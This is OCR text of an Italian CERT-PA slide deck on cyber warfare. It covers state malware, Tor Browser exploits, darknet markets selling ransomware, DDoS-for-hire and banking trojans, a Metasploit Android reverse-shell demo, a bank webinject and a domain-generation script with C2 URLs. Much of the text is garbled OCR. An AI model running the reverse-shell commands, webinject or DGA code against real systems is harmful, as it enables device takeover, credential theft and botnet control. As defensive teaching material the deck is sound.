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Guerra Cibernetica #*Guerra Convenzionale

Difficile dare un volto agli attaccanti!

Non esistono truppe sul posto.

Non esistono carri armati, navi o costosissimi aerei da guerra F-[0-9]{2}.
L’attaccante ha bisogno solo di trovare un unico difetto nel sistema
informatico che gli consenta di prenderne il controllo. La tipologia di difetto
dipende dal tipo di attacco (locale o remoto) ed € strettamente legato al
target dal quale si vuole sottrarre informazioni e/o causare un danno fisico.
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Difficile dare un volto agli attaccanti!

//Add foreign languages

//Arabic

WARBLE wcArabic[] = L"is .Je garo Lu3L 350 peiand ol 3 o0 d5¥! pajlass! $L3801 pld ud o g (Jf goamddl Jladdl gead ,dus s3Aels gaixald! ¢3LRbdl S .5Lbla slaj Jg> ¥
LaS ps Lgpusyl Lusydy o.t

//Chinese

WARBLE wcChinese[] = L"HEMM MRRHI WAE1R :F IR, @3E RPlEEs RN B BH FRF B8R BEE 5 8E, 8% SR8 0HiE, 5 L HflE X & wish B2 RED #i RER 8BS nee
U B4, EYERIS GEMSE MMEAT & W

//Korean

WARBLE wcKorean[] = L"AM8E U= 72 B2 Hap7t YXY, tiERL, TU |FHE, ofF Jejol HMFAE YU7L =30jete BE HOX| Y= TOE 258, BU2 Lorem Ipsuml| S2EE AHEOIE 32, SU2 8
£E9| Zt200 AT H7F 8% gitks isjorgict;

//Farsi

WARBLE wcFarsi[] = L"paid€51 ) Lasesb Lo pausyf pysdt Lorem ipsum) | spaie olgis 4o 5is gl 31 a3 58 gipb copds 4528 S0 50, € ot b g (ol T dade coly Grie jo hrags 5 GBatayl 50 &
o SIS Glal b Yaars cudly 53 palB oy Sopd e3lusl g g (R GESLAS (8 GBS 1 LS cugles o soliiel pud 4,8 golie pub S 5 soa B USE iyl a5 dxko 590 s ol g s oSS
Gy B3 4y adsfs o€ 30,5 5T 5o g3 ASil §I oury sad suiy dado L olab dade &S aiad JULES dsF LS wolo i g)ias 4o Lije LI udiS,d eabliiwl imas g aotajl slagia i
OF ddlos o630 4y Liaaty (Ss5 4 Leil LS Ul Slea yo g wiplds 1) os5a ;iS5 G Sl dduby 3 difurs oho sdiwyss Lagas Olafyh 45 o oladl 31 .dwlead 453,€ 4B 50 458> Lagaigejladl 3 Lapls g
adps globy 4o | sabdodain 3 >iab ddops L5 adiS o ool )T dadio 1) 235 (Sudl )€ dato ¢ Sislo olosing j1 2oblitel Ly ta.”;

- nﬁlu.\.u. B 5t

return @;
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Quali informazioni? Quali danni?
e Strategie politiche e militari. e Acqua, Gas, Rete elettrica fuori
e Documenti o progetti riservati. uso.
e Contatti e comunicazioni. e (estione linee aeree e treni in tilt.
e Pubblica Amministrazione in tilt.
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Chi sono gli attori principali?
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Hanno fatto storia

Stuxnet Sabotaggio centrali Natanz
Danneggiamento turbine
Target: Sistemi SCADA

Si propaga via USB
Integra Certificati

Sfrutta 4 Oday

Duqu Valuta lo stato del programma nucleare iraniano
Integra Certificati
Sfrutta Oday

Analisi del codice riscontrano similitudini con Stuxnet

Gauss Rilevato in Libano, Israele, Palestina, Emirati Arabi
Progettato per sottrarre cookie e credenziali.
Moduli aggiornabili da remoto

Parti di codice risultano simili a Stuxnet e Duqu

Flame Si propaga via USB

Integra Certificati

Sottrae documenti di testo e file di tipo DWG
Cattura Immagini e Audio di Skype

Parti di codice risultano simili a Stuxnet e Duqu

Gianni Amato www.cert-pa.i
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Un soldato in missione per ripulire le tracce

WIPER

Soldato in missione sul campo di battaglia

Cancella le tracce di Stuxnet e Duqu

Priorita rimozione file .PNF (usati da Stuxnet)
Rimozione dei dati utili ai tecnici forensi per ottenere
prova del reato

Gianni Amato www.cert-pa.i
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Tor Browser Vulnerability

| [tor-announce] Tor security
Moz la Foundation Security advisory: Old Tor Browser Bundles
Advisory 2013-53 vulnerable

Roger Dingledine arma at mit.edu
Mon Aug 5 15:13:12 UTC 2013

mxmﬁCﬁ_O_J Oﬁ CSBDUUQQ BQBOJ\ ﬁjﬁocmj e Messages sorted by: [ date | [ thread | [ subject ][ author ]

onreadystatechange event

R TR p— This is a critical security announcement.
I.E%Lr.hrn|u_c:mmm_modw g

An attack that exploits a Firefox vulnerability in JavaScript [1]
has been observed in the wild. Specifically, Windows users using the
Tor Browser Bundle (which includes Firefox plus privacy patches [2])
appear to have been targeted.

This vulnerability was fixed in Firefox 17.0.7 ESR [3]. The following
versions of the Tor Browser Bundle include this fixed version:
2.3.25-10 (released June 26 2013) [4]
2.4.15-alpha-1 (released June 26 2013) [4]
2.4.15-beta-1 (released July 8 2013) [5]
3.0alpha2 (released June 30 2013) [6]

T
>
T
L]

Firefox 22 Tor Browser Bundle users should ensure they're running a recent enough
Firefox ESR 17.0.7 wMmemwMquwﬁ”b and consider taking further security precautions as

e SeaMonkey 2.19
5 WHO IS AFFECTED:
e Thunderbird 17.0.7 In principle, all users of all Tor Browser Bundles earlier than
e Thunderbird ESR 17.0.7 the above versions are vulnerable. But in practice, it appears that

only Windows users with vulnerable Firefox versions were actually
exploitable by this attack.

(If you're not sure what version you have, click on "Help -> About
Torbrowser" and make sure it says Firefox 17.0.7. Here's a video: [7])

To be clear, while the Firefox vulnerability is cross-platform, the
attack code is Windows-specific. It appears that TBB users on Linux
and 0S X, as well as users of Live(D systems like Tails, were not
exploited by this attack.
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Payload

VT OO0\ uBael\ UDR0O\ LOBOG\ LSBT\ LA 31\ UBhOA\ L3052\ US 280\ UBDOC\ L1432\ U7 28D\ VO T 28\ Leab T\ U3 1 26\ ud 1 T !
aconus e\ ul2 ¢ WETE I\ U010\ e 2 T\ US2T0\LBbS T\ U1 052\ 4280\ L0 L 3¢\ UBDAD\ U 7840\ LchES \uia 4
OB I\ USRS\ LN\ UEED \ U1 20\ e 2A 2\ A9 3\ L4ED\ WO 1 BD\ L3 10\ UL F M\ uaccl\uc T I\ WD 1O\ UaBc T\ u 754
W T\ UTETE\ TR\ TS24\ uSBe 2\ USEED\ D 1 24\ LSO\ LOCHD \ LBLAD\ L1 c 58\ I 1 \ LO4AL\ LD 1 B0\ WD\ L2444
ES24\UB 1S\ uSaS\uT 151\ uSBed\ uSaS T\ Ul 260\ uB6ed\ USdeS\ UDdB )\ L0269\ LDBOD\ LASAT\ L2854\ L7075\ usSad
VB4 1\ L0080\ UBESE\ LT T4\ LBT 26\ LdS T\ LCBES\ LSe T4\ LB B\ L0238\ LOB0O\ LEBSE\ LT 74C\ BT 26\ LdS T\ ucaes
VACT4\uSEbY\ uBBe ] \LZ960\ uS4dc\ UBBS3\ LUBE 29\ LBBGD\ LdS f F\LdCE ]\ LCEBS\ L30T\ USESE\ USESE\ USE4a\ uSa4s
veabi\wafof\uf fed\u31a5\uf 70b\ u39d3\L74c3\ UB9 1 f\L6ac3\uBd 10\ Le1b5\ LDE02\ U569\ LEES53\La5P\u6 174
\dS T\ LCBBS\ ul 174\ uBd T\ LDBEY\ LOBOE\ Lel 75\ LbdBD\ LO24 T\ LOBOE\ LT 401\ LeBBT\ L 13D\ D000\ LES5ed\ udded
wB 1\ uf 188\ ubBe T\ LB 186\ UBBEE\ LCA 29\ Le 289\ LSES2\ LBBS2\ 49D\ LB 1de\ LdS F 1\ 815 F\ LBBCH\ O8O0 1\ L8588
vBf o\ uf 285\ ue80e\ uS7H9\ uT 308\ UBREE\ USe B9\ LCIBI\ UDdBd\ 929\ VE06S\ Lehed\ B80S\ L4 fOD\ufa83\u7c29
b5\ vaa 20\ LOBDD\ LA 169\ uTI56\ Lb9a4\ UDDOT\ LOBRY\ D58\ LD 2C4\ LODBD\ La4 T 3\ UDAEY\ LE24D\ VOB US65e
UaSH8\ U228\ uT THO\ UBSAS\ L0 TCO\ Lsald\ LB RO\ LS600\ LABED\ LG66A\ UTIES\ L T4\ LICED\ LOBOS, LBI0R\ Lic 4l
VWESEb\ uesEb\ veIBL\ LBBbE\ UBBE 1 \ U0\ Le 7B\ LCA29\ LeOBI\ U037\ US 151\ 486\ Ld2 72\ uf FBE\u83dS \ul1ce
VWBSCH LN 1 \We I\ LR DT\ LTIBI\UT206\ UDIGC\ LDDNE\ LDO DD\ U1 0bE\ LODND\ L2900\ UBICA\UBSe T\ ud lca\uShe2 |

WIS\ uBad2\ uBB 16\ U2400\ LCE TO\ LOAeS\ LB IC\LOAT T\ LUS0M\ LD 2eD\ L3704\ O 788\ BB T\ U240\ U3COT\uT77 B ﬁ mjm__ooam

VDSEA\ ued 30\ LB\ USRI T\ LA 70T\ e 246\ LSO\ e 129\ uTe B9\ L0 1 58\ UBhc4\ LAbDE\ LOB0 2\ uT 100\ uchad\ud 1S
YOROT\ WO 100\ U208\ UOBBG\ L3100\ USICH\ U295 1\ 41 FAUS I T\ LC 208\ u3Beb\ 1! £31\uSIdS\ U7 308\ uedse\uf 161
PSS UTeC\UT T LCR I\ LaL T C I I\ e T2\ ] T 7\ C 349\ L0000\ L0000\ UBA00\ eI\ W02\ e oD\ uT fed
AR L LIS VRO \ LS\ L2 75\ UDDOD\ Lad T X\ LDdBd\ L0 209\ DO\ LChed \uT T\ LCITT\ Whatd\ b T4)
ubebe'\ Ut )03\ VB T\ U203\ La30D\ U065\ L0 1 2d\ LBNGC\ LS 7O\ D0\ WO 34 1\ L6 I\ U 7470\ L 20 3a\u2 I 20
ubd2a\u4 100 U005\ u2d 74\ ubeds 1O\ u004\ b 700\ 2038\ U700 7\ 7009\ 0o\ Whadd\ il )00\ ulec?
e \udli T, U T\ UTTAT\ LOde 7\ A0\ UG THT\ LEI6D\ U365\ L4920\ UBdA\ U7 3T\ LS T2\ LI23Y\ a9

VOAESE\ LS04\ uSB4 )\ LBB4T\ OB\ LSS0\ Lded 1\ U30CA\ A5 T\ L2654\ U1 2 M\ L300SO 1 34\ LI 1S\ u2des\ LU 238
UISII\UBE20\ uGA34\ U6\ U3TIT\URII6\ U820\ WEI6Z\ U3 TIT\ U131\ UIAIO\ UINIT\ L2030\ US4\ USESE\u3 1 21
U312\ U0\ LB TAB\ UT4ATI\ L2033\ LOBDG\ LDD OO\ LOBOO\ LDESD\ LD 0D\ LODOD\ LO0SD\ LOOOD\ LOGOD\ LE000\ LOOY
LOSDY\ LOBEO\ LBBLE\ LOBEE\ LOBEO\ LBBEY\ LOBEO\ LOBEE\ LOBEO\ LOBEY\ LOBEY\ LOBSO\ LD\ LSS\ LOBSE\ LBeOS

\uS9He\ LBSEE\ LBBEE\ LDBEe\ LDBEO\ UDBEE\ LBBEe\ LDBEE\ LDEEY\ LBBEE\ LDBEE\ LBBET\ LDEES \ LDEOS\ LBESE\ LBEee
UB9Hhe"\ VBB \ LOSDO\ UBBED\ LDBHE\ LOBED\ LDDEG\ UDEBY\ LOBEG\ LBBEO\ LOERG\ LB\ LEGOD\ LDEOD' B0\ UDE0S

\u0B00", LOROEH LODOO\ LOBED\ LOBOD\ LOINE\ LOBED\ LOBDD\ LOOO\ LOO0D\ LO0D\ LOED0\ D806\ L3000

AR e O
001280: , nnection: keep-a
001290: . ( a 2 f live..Accept: */
0012a0: : . *..Accept-Encodi
0012b0: : ng: gzip
0012¢0O: 9 1 : S T ) e
0012d0: : ) : ) . kie: ID=ws2 32.I|§
0012e0: ‘ : ) . de PHLPAPI....PA..6
001270: ‘ f : GET /1f84aeld-06b
001300: , 15-44dc-9963-8bc
0013160: ) 3¢ 971104590 HTTP/1
001320:
001330:

Binario

SR
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Network Traffic

1 65.222.202,

22.976647 10.0,2.15 65.222.202.54 TCP 62 activesync > http [SYN] Seqe0 win

3 8.254218 00000000, 0800276 3000000000, FFEFFfFrff IPX RIF 58 Response

4 §.985262 10.0.2.15 65.222.202, 54 <P 62 activesync » http [SYN] SeqeD win
6 24,006920 10,0,2.15 65.222.202,.54 we 62 activesync > http [SYN] Seq«0 win
7 30,015546 10.0,2.15 65,222,202, 54 TCP 62 activesync > htep [SYN] Seq=0 win
9 44,936969 10.0.2.15 65.222.202.54 TCP 62 activesync > http [SYN] Sege0 win (e |_|—.m.—...—..m00 Q_ rete
10 50.945610 10,0.2.15 65.222.202,.54 <P 62 activesync > http [SYN] Seq=0 win
12 65.967218 10.0,2.15 65.222.202.54 TCP 62 activesync > http [SYN] Seq=0 win
13 68.262553 00000000.0800276f 3000000000, FFfFFFFfff IPX RIF 58 Response

14 71.975819 10.0.2.15 65.222.202.54 TCP 62 activesync > http [SYN] Seqs=0 win
15 83.993533 10.0.2.15 ____65.222.202.54 ___7CP 62 [VCP POrt numbers reused] actives
16 §6,997442 10.0.2.15 65,.222.202.54 TCP 62 activesync > http [SYN] Seqe0 win
17 93.006093 10,0,2.15 65.222.202,54 <P 62 activesync > http [SYN] Seq~0 win

[Redirecting a socket destined for 65.222.2082.54 to localhost.]

[Received new connection on port: 86.]

[New request on port 80.]
GET /1f84aeld-8b15-44dc-9963-8hc9271164598 HITP /1.1 '
Host: experien—-d129%9céb
Cookie: ID=B808276F30ED
Connection: keep—-alive GET _Nmﬂcmmﬁ
Accept: »/%
Accept—Encoding: gzip

Failed to send all the data.

[Error sending http response to client: 180531
to send all the data.

[Sent http response to client.]

Gianni Amato www.cert-pa.i
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Sara un caso che...

IP Information for 65.222.202.54

1P Location: M Unexd States Asnburn Mo Communicatians Services Tnc. DVt/a Vertzon Busmess mm . NNN . M OM . mh-

] ! AS701 UUNET - MCI Communicatiorn Servces, Inc. d/b/a Yerizon Business (registered Aug 03, 1990)
H Ll

e e _Wuﬁ_éés:.__ e Location: United States

oy T — Washington, Distretto di Columbia

North Amernica

e e <10 min in auto dal FBI Washington Field

Geolocation data from _..:"...:.. (Product: Max)

- .
sy Cwole w ob Cotne 71 Red Togue Cate O
"t MWouse z e (v o a2 Metiopolitan .q.._.._om
) - 1w Anron Shipman House Warehouse Co In
x,\“—h< TRUXTON CINCLY -

- - Poo) 21 0upont G * Recreation Center Brom

i_..n. = Swamming Washington, _,: auto 9 rmin o
Distretto di Columbia i o

= The Savoy <

o Wostungton Checle Park ks
£ Inauto 10 min N e AR NORT MY
Iwatergate Bouth - 20 mi -
= 8 ity | Washington
* e d Office
o « Ford's Thestre
M Freedom Maca =

enernl Jose de San @ Japanieie Areorcan
Martin Memonal o Daughters of the I ) = Memaovial
> Amencan Revoluton

vited States @ 3 @ @ YHE BROTT Folger ¢
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Vulnerabilita, Tor Browser, Scelte Etiche

Tor Browser 7.0.9 is released

by gk | November 03, 2017

Note: Tor Browser 7.0.9 is a security bugfix release for macOS and Linux users only. Users on Windows are not
affected and stay on Tor Browser 7.0.8.

Tor Browser 7.0.9 is now available for our macOS and Linux users from the Tor Browser Project page and also from our
distribution directory.

This release features an important security update to Tor Browser for macOS and Linux users. Due to a Firefox bug in
handling file:// URLs it is possible on both systems that users leak their IP address (nhote: as of Nov. 4, 2017, this link is
non-public while Mozilla works on a fix for Firefox). Once an affected user navigates to a specially crafted URL the
operating system may directly connect to the remote host, bypassing Tor Browser. Tails users and users of our
sandboxed-tor-browser are unaffected, though.

The bug got reported to us on Thursday, October 26, by Filippo Cavallarin. We created a workaround with the help of
Mozilla engineers on the next day which, alas, fixed the leak only partially. We developed an additional fix on Tuesday,
October 31, plugging all known holes. We are not aware of this vulnerability being exploited in the wild. Thanks to
everyone who helped during this process!

We are currently preparing updated macOS and Linux bundles for our alpha series which will be tentatively available on
Monday, November 6. Meanwhile macOS and Linux users on that series are strongly encouraged to use the stable
bundles or one of the above mentioned tools that are not affected by the underlying problem.

Update: Tor Browser 7.5a7 has now been released.
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e Malware che hanno lo scopo di <R -0 B"
distruggere, modificare o sottrarre _—— o
informazioni. ca D R m;uw GAuSS

e Attacchi di tipo DDoS per rendere | stueer P85 )
inutilizzabili le infrastrutture A v | ®
comunicative dell’avversario. 28 | M\ = |

Ma soprattutto, come e dove procurarle?

€542451 &

o R e R Rl R e B
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Ransomware

Ransomware [ALM4 Locker]
Vendor seventy3 (250) (4.74y)
Price 1$0.435 ($3000)
Shipsto Worldwide, Worldwide

Ships from Worldwide
Escrow Yes

A Lockn! * &

S @ € - onon Mk > HQ

Your files are encrypted!

You can login 10 check If we can restare your fles.
Your can ges your ID rom cecrypter progeam of in your "Uniock fles.tt” asood had disk

Logn

Product description

Well well well ladies and gentlemen, we bring you the one and only ALM4 Ransomware. What can |
say but, "If you know, you know™. Only a handful of people have this monster, hence the price. You
will FE before we send you this monster.-Only serious customers, no script kiddies asking stupid
questions.

You are paying for ALM4 Ransomware:
-Encrypt victims files with AES-256

-Random 5-6 character extension

-Exploit Kit

-Full guide

-(Source code can be provided upon request).

This ransomware is currently being distributed by an exploit kit, and has a very low detection rate.

Your very own 73
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Ransomware With Source Code

Product description

Blackmail Bitcoin Ransomware (With Sourcecode) Easy-setup

Vendor AustralianGhost (90) (4.73,¢) (‘@ 0/0/0)
Price B0.000724 ($4.99)

This Ransomware is editable and you can change your own amount and bitcoin address.

Ships to Australia, New Zealand Ransomware will lock all files on the computer and unlock them after payment.
Ships from  world You will have the option to change the encrption extension of the ransomware; meaning you can
Escrow Yes have all encrypted files to end in any extension i.e. example@example.com

So lets say the document encrypted was Gizmo_Prototype_design.docx you can encrypt it to
become Gizmo_Prototype design.example@example.com

Victim will have no choice but to contact you via email for payment. This gives you to increase
payment charge based on victims urgency.

With this ransomware you will also have the option to have it USB auto installable with time frame.
Meaning, you can install it on a portable USB and it will automatically boot and start encrypting files
after a give time frame of 2 hours or 2 days (depending on your preference).

| once used this ransomware to encrypt the computer files of a hotel | lodged-in and was able to
extract 10 btc from them. | simply installed it on a usb and plugged it into the pc when the
receptionist was away from desk.

A user have the option of also sending it as a regular download file, | just prefer to have it on a usb;
for better precise targeting. | wished | used this in my university computer rooms. | might have
made much more btc.

You will get the source code of the Ransomware and READ-ME text guide.

100% rewards is for you, | will not ask a % of your income like others do
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Se lo scopo del Ransomware non e quello di
monetizzare tramite il pagamento in
bitcoin?
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NotPetya Ransomware?

Info
e Giugno 2017: NotPetya sembra essere una nuova variante di Petya.
Come WannaCry sfrutta exploit EternalBlue (Leak NSA).
Movimenti laterali tramite PsExec e dump con MimiKatz.
Ha preso di mira prevalentemente il settore industriale.

Anomalie
e Unica mail di contatto (disattivata).
e Unico indirizzo bitcoin (3009%).
e Incasso < 10.000% (nel periodo critico).

Conseguenze
e |l Governo Ucraino, tra i piu colpiti, punta il dito contro la Russia. Poi ritratta.
e Da piu parti si concorda che trattasi di attacco politico mascherato da
ransomware.
e Lo scopo, al pari di Shanom che cancellava i dati, € stato quello di renderli
inutilizzabili.
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DDoS Attack 24h

DDOS ATTACK with my Botnet: 24 hours ddos on youi

Vendor amelia77 (260) (4.98u) (@ 573/2/2) (% 10/0/0) @

Price B0.00403 ($27.77)
Shipsto Worldwide, Worldwide
Ships from Worldwide
Escrow No

- hu..\l.»l

¥
WA

Product description

DDOS ATTACK: | will point my botnet on your website target DURING 24 HOURS.
Before order, please send a message with your target. By that way, | will test if | have enough power
to shut it down!

No Guarantee of downtime as the target can mitigate the attack in some ways but | will do my best
to provide the maximum downtime possible during these 24 hours.
PLEASE CHECK FEEDBACK 100% SATISFACTION!

Another advantage of the DDOS attack that you probably don't know is the loss of Google Organic
Ranking. Google really don't like unreachable URLs or slow website. As soon as they find a
decrease of availability or speed, your target will be temporary removed from results and then it will
lose his Google ranking. Two weeks after a four days DDOS attack, | have seen a website going
from first page to third page.

PLEASE CHECK MY OTHER OFFERS WITH 100% SATISFACTION:

1) EMAIL BOMB: Destroy any EMAIL address - Subscription to more than 3K THOUSANDS
Newsletters - HUNDREDS EMAILS / DAILY
hitp://alphabaywyjrktgn.onion/listing.php?id=189978

2) GOOGLE ADWORDS: Destroy your competitor advertising budget (100 Clicks)
hitp://alphabaywyjrkign.onion/listing.php?id=189987
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DoS IoT 24h or 10min

Vendor

Price
Ships to
Ships from
Escrow

DDoS IOT Botnet - Unprotected

-~ (A ! L L !

vimproducts (310) (4.944) (a 173/4/2)
B0.0003628 ($2.5)

Worldwide

Russia

Yes

\ /.~
Vel

Product description

There are thousands online!

With this listing, you purchase keysivouchers for 24h or 10 min attacks. Using these vouchers, you
can launch attacks with the panel available here: hitp:/iddoszedrip2fsxzo.onion/

You can run multiple concurrent attacks or wait for each attack to stop before starting a new one.
Test for ddos protection, view amount of bots online, check attack status, and more. Read the FAQ
on my hidden service linked above for more info.

Please be aware that there's no refunds for this listing. | will let my previous AlphaBay feedback
speak for itself.

If you don't trust me, feel free to run a 40 cent test attack. These attacks are good for checking if you
are able to take down sites before spending 25 dollars on a 1-day attack.

Please only order with quantity as one for 1-day attacks, just make multiple orders or contact me for
a bulk listing. You can order with a quantity over *1" (which is really 6 test keys if thats your shipping
option), if you are buying test keys. Thanks!

Don't worry, I'm not going to cut my losses and scam like some other vendors just because | lost all
my money to AlphaBay.
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Se lo scopo dell’attacco DDoS non e quello
di negare il servizio ma di mascherare un
attacco di altra tipologia?
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Bot_1 Bot 2 Bot_N

Centinaia di
— richieste

Milioni di
richieste —

Botnet

Server_1 Server_2
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KINS Trojan Toolkit (like ZeuS

Vendor

Price
Ships to
Ships from
Escrow

Settings

[ # DLDebugBuider Pl £
Yersionn 1.0.20 B LIS, Buikder =
Eudd time: 11.07.2013 20042:55 GMT 3 = = = =
nelegainee gpoovane PO Sofens v Satish 273 T3 LR RF.
[ 1o vt setectid — bowse... | ear. |
F e ;
Actons
B Dvcppor | B ol | cetrgs e -
Bl tane: 20,78140 03,05, 2014 M7
h_ Sgptiee: R4
~ irformabion about actvvem bot -
Ercryptin ey
|
Fiormeton:
17}

KINS [Trojan Toolkit]

seventy3 (250) (4.74w)

B0.003628 ($25)
Worldwide, Worldwide
Worldwide

Yes

Product description

Well well well, ladies and gentlemen, we bring to you here KINS Trojan tookit, builder and panel
source code).

KINS also comes with a dynamic-link library (DLL) capability, which allows the Malware to drop a
small malicious file initially, which could go undetected by anti-virus software, before initiating other
malicious add-ons and tricks.

Sold for 5k originally.
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KINS Trojan Webinjects

(@) Poste Italiane - AccediaPos % %

€& - C' myposte.poste.it/jod-fcc/fec-authentication.jsp ool 2

Registrazione Accedi

Posteitaliane

SERVIZI ONLINE | CERCA | HOME

Accedi a Poste.it
Per poter usufruire dei servizi online di Poste.it occorre prima identificarsi. Ins™gci negli appositi spazi il tuo nome utente e la password.

Privati | Business Peru E Emzamnnm.gn ®
Privati .. e mm set_url https://myposte.poste.it/jod-fcc/fcc- 3
Accedi ai Servizi Online i = -
du authentication.jsp GP ‘
La be di
_ Nome utente _ red Qm#mlcmﬁoq.m
_ sesssnee _ A E ve Z>3W":—UNMMZO—-Q:*A\H—-V
data_end
_ +39 Numero Telefono _ S Qm.ﬁml..:..u.mﬁﬁ
Non sei ancora trato? fw‘m‘ <tr bgcolor="#ffffff">
-] Y "oz a4 n " _n " |
Hai dimenticato |ff password? mOmUm»/A.ﬂQVA._._...;.uc.n By mm.—..ﬁ ...al:nm.:, types= WQXA 2 w.@.m un
: EETTE class="inputAccedi"” value="+39 Numero di Telefono"></ |,3
Come difendergf dal phishing f prefe] td>
Al md data_end | codice
di att data_after
Wﬂ& data_end|
*) c
Fake field Posts Ende
dall'o
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Android Trojan

Android trojan info stealer [Fake Netxflix]

Vendor color (7200) (4.76y¢) (e 500~700, 4.84/5)
(M #184, 9.79/10)
Price B0.0002177 ($1.5)
Shipsto Worldwide
Ships from USA
Escrow Yes

NETELIX

Product description

Android trojan info stealer [Fake Netxflix]
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I don’t have enough
money.’
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Android Trojan - Metasploit

I TIM Es% .1145% 3 16:55 | -

Terminale - guelfoweb@home: ~/test - + X
& Sicurezza File Modifica Visualizza Terminale Schede Aiuto

guel me:~/test$ mstvenom -p a /meterpre /reverse tcp LHOST=192.168

METODO

Password visibili

AMMINISTRAZIONE DISPOSITIVO

S
es
a

Amministratori del dispositivo
Visualizza o disattiva amministratori dispositivo

Origini sconosciute

Consenti l'installazione di applicazioni non a
ufficiali

=[ metasploit v4.16.11-dev- ]
PC SUITE (HISUITE) + -- --=[ 1690 exploits - 966 auxiliary - 299 post ]
+ -- --=[ 499 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Attenzione

Il telefono e i dati personali sono piu vulnerabili

agli attacchi da parte di applicazioni di origini msf > use exploit/multi’/handler
sconosciute. Lutente accetta di essere il solo msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
responsabile degli eventuali danni al telefono PAYLOAD => android/meterpreter/reverse tc
o della perdita di dati che potrebbero derivare P _Cp
dall'utilizzo di queste applicazioni. msf exploit(handler) > set LHOST 192.168.1.9
LHOST => 192.168.1.9
ANNULLA OK msf exploit(handler) > set LPORT 4445

LPORT => 4445
msf exploit(handler) > run

\/icnalizza rartifinati CA attandihili
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Android Trojan - VirusTotal

M Search or scan a URL, IP address, domain, or file hash Q a “
26 engines detected this file °
SHA-256 2255f0086009d1f4750b33a8cb7e188398818a842e85e758b4aba323f1e56e51
>v—ﬂ File name ScreenshotManager.apk
File size 8.6 KB
26 \ 63 Lastanalysis 2017-11-02 16:23:02 UTC
Detection Details Relations Community
AhnLab-v3 A\ Android-PUP/Metasploit.d35d Alibaba A A LRemMetasploit
Arcabit b Android.Riskware.Metasploit.D Avast b Android:Metasploit-G [PUP] i
Avast Mobile Security b Android:Metasploit-G [PUP] AVG b Android:Metasploit-G [PUP]
Avira b ANDROID/DIdr.Agent.BQ.Gen BitDefender b Application.HackTool.MeterPreter. AQR
CAT-QuickHeal b Android.Metasploit.B (PUP) DrWeb b Android.RemoteCode.67
Application.HackTool.MeterPreter AQR
Emsisoft eScan Application.HackTool.MeterPreter AQR
A A v
a variant of
ESET-NOD32 b _ F-Secure > Application.HackTool.MeterPreter
Android/TrojanDownloader.Agent.JN
Fortinet b Android/Generic.S.56B2CF!tr GData b Application.HackTool.MeterPreterAQR
Ikarus b Riskware.AndroidOS.MetaSploit K7GW b Trojan-Downloader (004f8551)
Kaspersky b HEUR:HackTool.AndroidOS.Metasploit.e MAX b malware (ai score=75)
NANO-Antivirus b Riskware.Android.RemoteCode.epsqsx Sophos AV b Android Metasploit (PUA)
Symantec Mobile Insight b Hacktool:Mesploit Tencent b HackTool.Android.Metasploit.awe
WhiteArmor b Malware.HighConfidence ZoneAlarm b HEUR:HackTool.AndroidOS.Metasploit.e
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@) MainActivity % MainActivity

Vuoi installare questa applicazione? Avra
accesso a:

Vuoi installare questa applicazione? Avra
accesso a:

registrazione audio
lettura contenuti scheda SD

modifica o eliminazione dei contenuti della
scheda SD

modifica delle impostazioni di sistema

invio SMS
pud comportare costi
lettura di SMS o MMS

lettura contatti personali

modifica dei contatti personali

o : ; ricezione di SMS
acquisizione di foto e video

chiamate dirette numeri di telefono
© puod comportare costi
lettura del registro chiamate

localizzazione precisa (GPS)

posizione approssimativa (basata sulla rete)

lettura stato e identita telefono

registrazione audio ; : :
scrittura del registro chiamate

modifica delle impostazioni di sistema

ANNULLA INSTALLA ANNULLA INSTALLA

< O O < O O

Gianni Amato www.cert-pa.i

Senior Security Analyst presso il CERT-PA g.amato@cert-pa.



52 Eor . . s s COMPUTER EMERGENCY RESPONSE TEAM
1ZLs | Agenzia per I’Italia Digitale r\/ PUBBLICA AMMINISTRAZIONE

ISh T CERT - PA
Presidenza del Consiglio dei Ministri fq €. e

% M\;ﬁ«&lw

Prrbdiean dil Conmbgtho dei Misdei

C&C 1 C&C 2 C&C 3 C&C 4 C&C 5

07/11/2107
09:00

07/11/2107

21:00

06/11/2107
21:00

06/11/2107
09:00

08/11/2107
09:00

Infected
Client
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PseudoRandomDomain

function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;

if (test > 0) {

this.seed = test;

}else {

this.seed = test + this.M;
Y

return (this.seed * this.oneOverM);

function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 1271 :0;
this.seed = 2345678901 + (d.getMonth() * OXFFFFFF) + (d.getDate() * OxFFFF)+ (Math.round(s * OXFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;

function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
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PseudoRandomDomain

function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd", 'e', 'f', 'g’, 'n', 'I',
-h.-u .—A.- -_-q .ﬂﬂd.u -3_- -O-. _U-u .D_‘ -—._‘ -m-. _.H-u .C-‘ -<-. _<<_‘ -X- _<_‘ -N-
I
var str=";
for (vari=0; i <length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];

}

return str + '.' + zone;

}

setTimeout(function() {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME"); -
ifrm.setAttribute

hxxp://xmexlajhysktwdge.ru/runforestrun?sid=botnet
hxxp://atsihkcljrglzvku.ru/runforestrun?sid=botnet
hxxp://mfwgdxgdpwiojrjp.ru/runforestrun?sid=botnet
hxxp://wmiudbgrcvaprigl.ru/runforestrun?sid=botnet
hxxp://yrxysfyekjfooere.ru/runforestrun?sid=botnet
hxxp://jzkitejvrxgkgpgi.ru/runforestrun?sid=botnet
hxxp://Ifbovcaitdrimkbe.ru/runforestrun?sid=botnet
hxxp://ulnrpbudycxzdlkt.ru/runforestrun?sid=botnet
hxxp://xqcwfwfphwoieuny.ru/runforestrun?sid=botnet
hxxp://hyoflopkupjioiqq.ru/runforestrun?sid=botnet
hxxp://keglxucgvwhqttmi.ru/runforestrun?sid=botnet
hxxp://tirnhskrgijhwtlj.ru/runforestrun?sid=botnet
